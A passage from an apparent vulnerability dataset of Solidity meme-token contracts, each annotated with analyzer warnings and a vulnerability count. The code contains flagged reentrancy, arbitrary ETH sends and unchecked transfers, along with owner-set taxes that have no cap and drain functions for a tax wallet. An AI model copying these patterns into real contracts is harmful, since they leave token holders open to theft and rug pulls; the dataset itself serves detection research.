block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 1cf0420\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 0d37695\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 1cf0420\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 1cf0420\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 0d37695\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 0d37695\n\t\t// reentrancy-events | ID: d207e65\n\t\t// reentrancy-benign | ID: 6c678b6\n\t\t// reentrancy-eth | ID: 1cf0420\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit2() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 87cc6bb): Trumpets.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 87cc6bb: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 0d37695\n\t\t// reentrancy-events | ID: d207e65\n\t\t// reentrancy-eth | ID: 1cf0420\n\t\t// arbitrary-send-eth | ID: 87cc6bb\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 302d1a9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 302d1a9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d18389c): Trumpets.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for d18389c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d7cd1bb): Trumpets.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for d7cd1bb: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b0a4bdd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b0a4bdd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 302d1a9\n\t\t// reentrancy-eth | ID: b0a4bdd\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 302d1a9\n\t\t// unused-return | ID: d18389c\n\t\t// reentrancy-eth | ID: b0a4bdd\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 302d1a9\n\t\t// unused-return | ID: d7cd1bb\n\t\t// reentrancy-eth | ID: b0a4bdd\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 302d1a9\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: b0a4bdd\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: c302d0a): Trumpets.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for c302d0a: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: c302d0a\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10738.sol",
"size_bytes": 21146,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Mego is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 09826e1): Mego._taxWallet should be immutable \n\t// Recommendation for 09826e1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 firstBlock;\n\n uint256 private _initialBuyTax = 20;\n\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 343c0a5): Mego._finalBuyTax should be constant \n\t// Recommendation for 343c0a5: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0625b81): Mego._finalSellTax should be constant \n\t// Recommendation for 0625b81: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n uint256 private _reduceBuyTaxAt = 1;\n\n uint256 private _reduceSellTaxAt = 1;\n\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Mego\";\n\n string private constant _symbol = unicode\"MEGO\";\n\n uint256 public _maxTxAmount = 1000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 125aca3): Mego._taxSwapThreshold should be constant \n\t// Recommendation for 125aca3: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: a0b86ee): Mego._maxTaxSwap should be constant \n\t// Recommendation for a0b86ee: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4e90f04): Mego.caBlockLimit should be constant \n\t// Recommendation for 4e90f04: Add the 'constant' attribute to state variables that never change.\n uint256 public caBlockLimit = 3;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5fa561b): Mego.caLimit should be constant \n\t// Recommendation for 5fa561b: Add the 'constant' attribute to state variables that never change.\n bool public caLimit = true;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x7F767904fbdBfe8f4e7f9192A73FfA9cb194A66a);\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 68fb630): Mego.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 68fb630: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4f2a518): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4f2a518: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7576edf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7576edf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 4f2a518\n\t\t// reentrancy-benign | ID: 7576edf\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 4f2a518\n\t\t// reentrancy-benign | ID: 7576edf\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cc3ffae): Mego._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for cc3ffae: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 7576edf\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 4f2a518\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 46e1a7a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 46e1a7a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9a03f74): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9a03f74: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ab99285): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ab99285: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (firstBlock + 1 > block.number) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n caLimit &&\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < caBlockLimit, \"CA balance sell\");\n\n\t\t\t\t// reentrancy-events | ID: 46e1a7a\n\t\t\t\t// reentrancy-eth | ID: 9a03f74\n\t\t\t\t// reentrancy-eth | ID: ab99285\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 46e1a7a\n\t\t\t\t\t// reentrancy-eth | ID: 9a03f74\n\t\t\t\t\t// reentrancy-eth | ID: ab99285\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 9a03f74\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 9a03f74\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 46e1a7a\n\t\t\t\t// reentrancy-eth | ID: ab99285\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 46e1a7a\n\t\t\t\t\t// reentrancy-eth | ID: ab99285\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: ab99285\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 46e1a7a\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: ab99285\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: ab99285\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 46e1a7a\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 4f2a518\n\t\t// reentrancy-events | ID: 46e1a7a\n\t\t// reentrancy-benign | ID: 7576edf\n\t\t// reentrancy-eth | ID: 9a03f74\n\t\t// reentrancy-eth | ID: ab99285\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function rescueStuckETH() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: cae835b): Missing events for critical arithmetic parameters.\n\t// Recommendation for cae835b: Emit an event for critical parameter changes.\n function updateSwapSettings(\n uint256 newinitialBuyTax,\n uint256 newinitialSellTax,\n uint256 newReduBTax,\n uint256 newReduSTax,\n uint256 newPrevSwapBef\n ) external onlyOwner {\n\t\t// events-maths | ID: cae835b\n _initialBuyTax = newinitialBuyTax;\n\n\t\t// events-maths | ID: cae835b\n _initialSellTax = newinitialSellTax;\n\n\t\t// events-maths | ID: cae835b\n _reduceBuyTaxAt = newReduBTax;\n\n\t\t// events-maths | ID: cae835b\n _reduceSellTaxAt = newReduSTax;\n\n\t\t// events-maths | ID: cae835b\n _preventSwapBefore = newPrevSwapBef;\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 6917c12): Mego.rescueStuckERC20Tokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 6917c12: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueStuckERC20Tokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: 6917c12\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function exileW_Restriction() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 4f2a518\n\t\t// reentrancy-events | ID: 46e1a7a\n\t\t// reentrancy-eth | ID: 9a03f74\n\t\t// reentrancy-eth | ID: ab99285\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0b1faaf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0b1faaf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e18d715): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e18d715: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 695bdbb): Mego.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 695bdbb: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9fc16fe): Mego.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 9fc16fe: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: bf953cc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for bf953cc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 0b1faaf\n\t\t// reentrancy-benign | ID: e18d715\n\t\t// reentrancy-eth | ID: bf953cc\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 0b1faaf\n marketPair[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 0b1faaf\n isExile[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: e18d715\n\t\t// unused-return | ID: 9fc16fe\n\t\t// reentrancy-eth | ID: bf953cc\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: e18d715\n\t\t// unused-return | ID: 695bdbb\n\t\t// reentrancy-eth | ID: bf953cc\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: e18d715\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: bf953cc\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: e18d715\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10739.sol",
"size_bytes": 22084,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract tweet is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3394be5): tweet._taxWallet should be immutable \n\t// Recommendation for 3394be5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: ed1c3af): tweet._initialBuyTax should be constant \n\t// Recommendation for ed1c3af: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3fecf89): tweet._initialSellTax should be constant \n\t// Recommendation for 3fecf89: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 16fec7d): tweet._reduceBuyTaxAt should be constant \n\t// Recommendation for 16fec7d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 55203ef): tweet._reduceSellTaxAt should be constant \n\t// Recommendation for 55203ef: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: be73a9d): tweet._preventSwapBefore should be constant \n\t// Recommendation for be73a9d: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Vitalik Deer\";\n\n string private constant _symbol = unicode\"Joao\";\n\n uint256 public _maxTxAmount = 8400000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8400000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5696962): tweet._taxSwapThreshold should be constant \n\t// Recommendation for 5696962: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9e35229): tweet._maxTaxSwap should be constant \n\t// Recommendation for 9e35229: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 